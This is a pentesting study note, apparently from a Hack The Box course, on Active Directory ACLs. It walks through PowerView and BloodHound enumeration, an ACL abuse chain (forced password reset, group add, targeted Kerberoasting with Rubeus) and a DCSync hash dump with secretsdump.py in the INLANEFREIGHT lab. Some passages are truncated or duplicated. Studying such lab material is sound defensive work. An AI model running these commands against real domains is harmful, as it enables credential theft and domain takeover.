handbook/tools/5.Machine/3.Active-Directory/Notes/Tyler/4.Access-Control-Lists.md

Overview

• ACLs are lists that define a) who has access to which asset/resource and b) the level of access they are provisioned.
  • Settings themselves are called Access Control Entities (ACEs)
  • Each ACE maps back to a user, group, or process

There are two types of ACLs:

1. Discretionary Access Control List (DACL) - defines which security principals are granted or denied access to an object. DACLs are made up of ACEs that either allow or deny access. When someone attempts to access an object, the system will check the DACL for the level of access that is permitted. If a DACL does not exist for an object, all who attempt to access the object are granted full rights. If a DACL exists, but does not have any ACE entries specifying specific security settings, the system will deny access to all users, groups, or processes attempting to access it.

2. System Access Control Lists (SACL) - allow administrators to log access attempts made to secured objects.

!

!

Three main types of ACEs:

Ace	Description
Access denied ACE	Used within a DACL to show that a user or group is explicitly denied access to an object
Access allowed ACE	Used within a DACL to show that a user or group is explicitly granted access to an object
System audit ACE	Used within a SACL to generate audit logs when a user or group attempts to access an object. It records whether access was granted or not and what type of access occurr

Each ACE is made up of the following four components:

1. The security identifier (SID) of the user/group that has access to the object (or principal name graphically)
2. A flag denoting the type of ACE (access denied, allowed, or system audit ACE)
3. A set of flags that specify whether or not child containers/objects can inherit the given ACE entry from the primary or parent object
4. An acce

!

1. The security principal is Angela Dunn (adunn@inlanefreight.local)
2. The ACE type is Allow
3. Inheritance applies to the "This object and all descendant objects,” meaning any child objects of the forend object would have the same permissions granted
4. The rights granted to the object, again shown graphically in this example

Common ACLs that can be abused: !

Four Ones to Abuse in this Course: • ForceChangePassword: gives us the right to reset a user's password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).

• GenericWrite: gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.

• AddSelf: shows security groups that a user can add themselves to.

• GenericAll: this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If wehave this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if wehave this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.

ACL Abuse Map !

Common attack scenarios: !

ACL Enumeration

Enumerating ACLs with Powerview Targeting a Specific User with "Find-InterestingDomainAcl"

PS C:\htb> Import-Module
.\PowerView.ps1
PS C:\htb> $sid = Convert-
NameToSid wley

Using Get-DomainObjectACL

PS C:\htb> Get-DomainObjectACL -Identity * | ?
{$_.SecurityIdentifier -eq $sid}

! We could Google for the GUID value 00299570-246d-11d0-a768-00aa006e0529 and uncover this page showing that the user has the right to force change the other user's password. Alternatively, we could do a reverse search using PowerShell to map the right name back to the GUID value.

Performing a Reverse Search & Mapping to a GUID Value

PS C:\htb> $guid= "00299570-246d-11d0-a768-00aa006e0529"
PS C:\htb> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-
ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -
Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} |
fl

!

Using the -ResolveGUIDs Flag (more efficient)

PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ?
{$_.SecurityIdentifier -eq $sid}

Doing It Manually with Powershell AD Tools:

1. Create a List of Domain Users

PS C:\htb> Get-ADUser -Filter * | Select-Object -ExpandProperty
SamAccountName > ad_users.txt

2. Create a "foreach" loop

PS C:\htb> foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt"))
{get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object
{$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

So, to recap, we started with the user wley and now have control over the user damundsen via theUser-Force-Change-Password extended right. Let's use Powerview to hunt for where, if anywhere, control over the damundsen account could take us.

Further Enumeration Using damundsen

PS C:\htb> $sid2 = Convert-NameToSid damundsen
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier
-eq $sid2} -Verbose

!

• damundsen has GenericWrite privileges over the "Help Desk Level 1" group
• We can add any user (or ourselves) to this group and inherit group rights

Investigating "Help Desk Level 1" Group with Get-DomainGroup

PS C:\htb> Get-DomainGroup -Identity "Help Desk Level 1" |
select memberof

!

A quick search shows us that the Help Desk Level 1 group is nested into the Information Technology group, meaning that we can obtain any rights that the Information Technology group grants to its members if we just add ourselves to the Help Desk Level 1 group where our user damundsen has GenericWrite privileges.

Investigating the Information Technology Group

PS C:\htb> $itgroupsid = Convert-NameToSid "Information Technology"
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq
$itgroupsid} -Verbose

!

• GenericAll rights over the user adunn, which means we could:
  • Modify group membership
  • Force change a password
  • Perform a targeted Kerberoasting attack and attempt to crack the user's password if it is weak

Looking for Access with "adunn" account

PS C:\htb> $adunnsid = Convert-NameToSid adunn
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq
$adunnsid} -Verbose

! The output above shows that our adunn user has DS-Replication-Get-Changes and DS-Replication-Get-Changes-In-Filtered-Set rights over the domain object. This means that this user can be leveraged to perform a DCSync attack.

Enumerating ACLs with Bloodhound

1. Upload the data to Bloodhound to be displayed.
2. Set the "wley" user as the starting node
3. Select the "Node Info" tab and scroll down to "Outbound Control Rights" a. This option will show us objects we have control over directly, via group membership, and the number of objects that our user could lead to us controlling via ACL attack paths under Transitive Object Control. ㅤ b. If we click on the 1 next to First Degree Object Control, we see the first set of rights that we enumerated, ForceChangePassword over the damundsen user.

!

ACL Abuse Tactics

Recap/Context:

• Control of wley user
• We can use this user to kick off an attack chain to control adunn user
• adunn user can perform a DCSync attack

Attack Chain:

1. Use the wley user to change the password for the damundsen user
2. Authenticate as the damundsen user and leverage GenericAll rights to add a user that we control to the Help Desk Level 1 group
3. Take advantage of nested group membership in the Information Technology group and leverage GenericAll rights to take control of the adunn user

Steps:

1. Authenticate as "wley" via a PSCredential Object

PS C:\htb> $SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
PS C:\htb> $Cred = New-Object
System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)

2. Create a SecureString Object to Represent the Password for damundsen

PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!'
-AsPlainText -Force

3. Change damundsen's password with PowerView

PS C:\htb> cd C:\Tools\
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -
Credential $Cred -Verbose

4. Authenticate as "damundsen" via a PSCredential Object

PS C:\htb> $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
PS C:\htb> $Cred2 = New-Object
System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)

5. Add damundsen to the "Help Desk Level 1 Group" with Powershell

Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -
Credential $Cred2 -Verbose

6. Rather than changing adunn's password, set can do a targeted kerberoast attack. Create a fake

SPN
PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -SET
@{serviceprincipalname='notahacker/LEGIT'} -Verbose

7. Kerberoast the adunn user with Rubeus

PS C:\htb> .\Rubeus.exe kerberoast
/user:adunn /nowrap

8. Crack the hash with hashcat and we now have access to the adunn user for a DC-Sync attack!

DCSync

What is DCSync? DCSync is a technique for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data. This allows an attacker to mimic a Domain Controller to retrieve user NTLM password hashes.

Requirements:

• Need an account with "Replicating Directory Changes" and "Directory Changes All" permissions set
• Domain/Enterprise Admins have this by default

1. Use Get-DomainUser to View Group Membership of user

PS C:\htb> Get-DomainUser -Identity adunn |select
samaccountname,objectsid,memberof,useraccountcontrol |fl

2. Using SID from above command, check if user has the rights for a DC-Sync attack

PS C:\htb> $sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
PS C:\htb> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? {
($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select
AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

• If we had certain rights over the user (such as WriteDacl), we could also add this privilege to a user under our control, execute the DCSync attack, and then remove the privileges to attempt to cover our tracks

Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py:

secretsdump.py -outputfile inlanefreight_hashes -just-dc
INLANEFREIGHT/adunn@172.16.5.5

- -just-dc flag tells the tool to extract NTLM hashes and Kerberos keys from the NTDS file.
- -just-dc-ntlm flag if we only want NTLM hashes
- -just-dc-user <USERNAME> to only extract data for a specific user.
- -pwd-last-set to see when each account's password was last changed
- -history if we want to dump password history, which may be helpful for offline password cracking or as supplemental data on domain password strength metrics for our client
- -user-status is another helpful flag to check and see if a user is disabled.

Listing Hashes, Kerberos Keys, and Cleartext Passwords

TeneBrae93@htb[/htb]$ ls inlanefreight_hashes*
inlanefreight_hashes.ntds inlanefreight_hashes.ntds.cleartext
inlanefreight_hashes.ntds.kerberos

• If we check the files created using the -just-dc flag, we will see that there are three: onecontaining the NTLM hashes, one containing Kerberos keys, and one that would contain cleartext passwords from the NTDS for any accounts set with reversible encryption enabled.

Enumerating Further To Check "Reversible Encryption Passwords" with Get-ADUser

Get-ADUser -Filter 'userAccountControl -band 128' -Properties
userAccountControl

Enumerating Further To Check "Reversible Encryption Passwords" with Get-DomainUser (PowerView)

PS C:\htb> Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like
'*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Displaying the Decrypted Password !

Performing the Attack with Mimikatz

1. Launch mimiktaz.exe !
2. Type this command !